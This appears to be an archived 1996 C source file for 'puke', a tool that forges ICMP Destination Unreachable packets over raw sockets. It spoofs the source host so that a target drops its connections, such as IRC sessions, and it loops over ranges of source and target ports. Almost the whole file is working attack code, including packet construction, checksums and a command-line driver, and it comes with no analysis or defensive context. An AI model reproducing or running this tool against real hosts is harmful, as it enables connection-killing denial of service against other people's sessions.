home *** CD-ROM | disk | FTP | other *** search
- /*****************************************************************************
- * puke - By Cowzilla, and Pixel Dreamer
- *****************************************************************************
-
- puke spoofs an icmp unreachable error from an irc host (or any other
- host for that matter), to a target host, from a source port(s), to the
- target port(s). The target host will (hopefully) pass this error up to
- the application layer and the TARGET will drop the connection from the
- SOURCE. We say "hopefully", because through enabling IP Firewalling and
- filtering out ICMP Unreachables a host can be immune to these attacks
- (most ISPs, and larger networks have some sort of firewall configured, but
- some still, do not filter out our ICMP Unreachable messages).
-
- Modified October 13, 1996 - Pixel Dreamer
- +Output modified greatly, description of ICMP being sent
- +Small optimization techniques applied, more to be applied later
- -Upper to Lower bounds disabled on accident
-
- Modified October 13, 1996 - Cowzilla
- +Better descriptions of ICMP message
- +Upper to Lower bounds reinstated :P
-
- -----------> Syndicate 96
- *****************************************************************************/
-
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in_systm.h>
- #include <netinet/in.h>
- #include <netinet/ip.h>
- #include <netinet/tcp.h>
- #include <netinet/ip_icmp.h>
- #include <netdb.h>
- #include <string.h>
-
- #define PACKETSIZE (sizeof(struct iphdr) + sizeof(struct icmphdr) + \
- sizeof(struct iphdr) + 8)
- #define ICMPSIZE (sizeof(struct icmphdr) + sizeof(struct iphdr) + 8)
- #define offsetTCP (sizeof(struct iphdr) + sizeof(struct icmphdr) + \
- sizeof(struct iphdr))
- #define offsetIP (sizeof(struct iphdr) + sizeof(struct icmphdr))
- #define offsetICMP (sizeof(struct iphdr))
- #define offsetRIP (0)
-
- static int thecode;
-
- u_short cksum(u_short *, int);
- void sendkill(char *, int, char *, int);
- void resolve_address(struct sockaddr *, char *, u_short);
-
- u_short cksum(u_short *buf, int nwords)
- {
- unsigned long sum;
-
- for (sum = 0; nwords > 0; nwords--)
- sum += *buf++;
- sum = (sum >> 16) + (sum & 0xffff);
- sum += (sum >> 16);
- return ~sum ;
- }
-
- void resolve_address(struct sockaddr * addr, char *hostname, u_short port)
- {
- struct sockaddr_in *address;
- struct hostent *host;
-
- address = (struct sockaddr_in *)addr;
- (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
-
- /* fill in the easy fields */
- address->sin_family = AF_INET;
- address->sin_port = htons(port);
-
- /* first, check if the address is an ip address */
- address->sin_addr.s_addr = inet_addr(hostname);
- if ( (int)address->sin_addr.s_addr == -1) {
- /*it wasn't.. so we try it as a long host name */
- host = gethostbyname(hostname);
- if (host) {
- /* wow. It's a host name.. set the fields */
- /* ?? address->sin_family = host->h_addrtype; */
- bcopy( host->h_addr, (char *)&address->sin_addr,
- host->h_length);
- }
- else {
- /* oops.. can't find it.. */
- puts("Couldn't resolve address!!!");
- exit(-1);
- }
- }
- /* all done. */
- }
-
-
- void sendkill(char *fromhost, int fromport, char *tohost, int toport)
- {
- char *packet;
- static struct sockaddr_in local, remote;
- static int sock = 0;
-
- if (!sock) {
- resolve_address((struct sockaddr *)&local, fromhost, fromport);
- resolve_address((struct sockaddr *)&remote, tohost, toport);
- sock = socket(AF_INET, SOCK_RAW, 255);
- if (sock==-1)
- {
- perror("Getting raw socket");
- exit(-1);
- }
- }
- /*
- . Get memory for the packet
- */
- packet = (char *)malloc(PACKETSIZE);
- if (!packet) {
- perror("Getting space for packet");
- exit(-1);
- }
-
- /*
- . Fill in our pretended TCP header
- . note - since this was allegedly an outgoing packet... we have
- . to flip the source and destination stuff
- */
- {
- struct tcphdr *fake_tcp;
- fake_tcp = (struct tcphdr *)(packet + offsetTCP);
- fake_tcp->th_dport = htons(fromport);
- fake_tcp->th_sport = htons(toport);
- fake_tcp->th_seq = 0x1984;
- }
- /*
- . fill in the fake IP header.
- . the same reversal as above still applies.. the packet was sent
- . to our machine (yeah right)
- */
- {
- struct iphdr *fake_ip;
- fake_ip = (struct iphdr *)(packet + offsetIP);
-
- /* these fields are irrelevant -- never checked?? */
- fake_ip->version = 4;
- /* this was much longer.. once */
- fake_ip->tot_len = htons(0x2C);
- fake_ip->tos = 0;
- fake_ip->id = htons(getpid() & 255);
- fake_ip->frag_off = 0;
- fake_ip->ttl = 24; /* not so long to live anymore */
- /* this CAN'T be checked..so do something != 0 */
- fake_ip->check = 3805;
-
- /* these fields are used .. */
- fake_ip->ihl = 5;
- bcopy((char *)&local.sin_addr, &fake_ip->daddr,
- sizeof(fake_ip->daddr));
- bcopy((char *)&remote.sin_addr,&fake_ip->saddr,
- sizeof(fake_ip->saddr));
- fake_ip->protocol = 6; /* a TCP packet */
- }
-
- /*
- . fill in the ICMP header
- . this is actally rather trivial, though don't forget the checksum
- */
- {
- struct icmphdr *icmp;
- icmp = (struct icmphdr *)(packet + offsetICMP);
-
- icmp->type = 3;
- icmp->code = thecode; /* this will generate an error message */
- icmp->un.gateway = 0;
- icmp->checksum = cksum((u_short *)(icmp), ICMPSIZE >> 1);
- }
- /*
- . finally, fill in the IP header
- . this is almost the same as above.. though this time, it is the
- . ip header that really takes the packet places. make sure the
- . checksum and addresses are right
- */
- {
- struct iphdr *real_ip;
- real_ip = (struct iphdr *)packet;
-
- real_ip->version = 4;
- real_ip->ihl = 5;
- real_ip->tot_len = htons(PACKETSIZE);
- real_ip->tos = (7 << 5) | 4;
- real_ip->ttl = 255;
- real_ip->protocol = 1;
- real_ip->check = 0;
- real_ip->id = htons(3);
- real_ip->frag_off = 0;
- bcopy((char *)&local.sin_addr, &real_ip->saddr,
- sizeof(real_ip->saddr));
- bcopy((char *)&remote.sin_addr, &real_ip->daddr,
- sizeof(real_ip->daddr));
-
- /*
- real_ip->saddr = htonl(ntohl(real_ip->daddr) & 0xffffff00L);
- */
- real_ip->check = cksum((u_short *)packet,
- sizeof(struct iphdr) >> 1);
- }
- /*
- .
- . and now.. finally... send it out into the net
- */
- {
- int result;
-
- result = sendto(sock, packet, PACKETSIZE, 0,
- (struct sockaddr *)&remote, sizeof(remote));
- if (result != PACKETSIZE) {
- perror("sending packet");
- }
-
- }
- }
-
- char *ICMP_TYPE(void)
- {
- char *mytype;
- mytype = "Unknown Type";
- switch(thecode)
- {
- case 0:
- mytype = "Net Unreacheable";
- break;
- case 1:
- mytype = "Host Unreacheable";
- break;
- case 2:
- mytype = "Protocol Unreacheable";
- break;
- case 3:
- mytype = "Port Unreacheable";
- break;
- case 4:
- mytype = "Fragmentation Needed (doesnt cause reset)";
- break;
- case 5:
- mytype = "Source Route Failed";
- break;
- case 6:
- mytype = "Net Unknown";
- break;
- case 7:
- mytype = "Host Unknown";
- break;
- case 8:
- mytype = "Host Isolated";
- break;
- case 9:
- mytype = "AuthNet";
- break;
- case 10:
- mytype = "AuthHost";
- break;
- case 11:
- mytype = "NetSvc";
- break;
- case 12:
- mytype = "HostSvc";
- break;
- case 13:
- mytype = "Packet Filtered";
- break;
- case 14:
- mytype = "Precedence Violation";
- break;
- case 15:
- mytype = "Precedence Cutoff";
- break;
- }
- return(mytype);
- }
-
- main(int argc, char *argv[]) {
- int si, i, codes;
-
- if ((argc < 8) || (argc > 9))
- {
- puts("usage:");
- puts(" puke <source host> <source port low> <source port high> \\");
- puts(" <target host> <target port low> <target port high> <unreach type> \\" );
- puts(" [-v] (optional verbose mode)");
- exit(-1);
- }
-
- thecode = atoi(argv[7]);
- printf("Using ICMP Destination Unreacheable Code %d [%s]\n", thecode,
- ICMP_TYPE());
-
- for (si = atoi(argv[2]); si <= atoi(argv[3]); si++)
- {
- printf("*** Source Port: %d\n", si);
- if (argc == 8)
- printf("*** Target Port : %d to %d\n", atoi(argv[5]), atoi(argv[6]));
-
- if (atoi(argv[5]) <= atoi(argv[6]))
- {
- for (i = atoi(argv[5]); i <= atoi(argv[6]); i++)
- {
- if ((argc > 8) && (strcmp(argv[8],"-v")==0))
- printf("%d \n", i);
- sendkill(argv[1], si, argv[4], i);
- usleep(30000);
- }
- }
- else
- {
- if (argc == 8) printf("*** Target Port : %d downto %d\n",
- atoi(argv[5]), atoi(argv[6]));
- for (i = atoi(argv[5]); i >= atoi(argv[6]); i--)
- {
- if ((argc > 8) && (strcmp(argv[8],"-v")==0))
- printf("%d \n", i);
- sendkill(argv[1], si, argv[4], i);
- usleep(30000);
- }
- }
- }
- }
-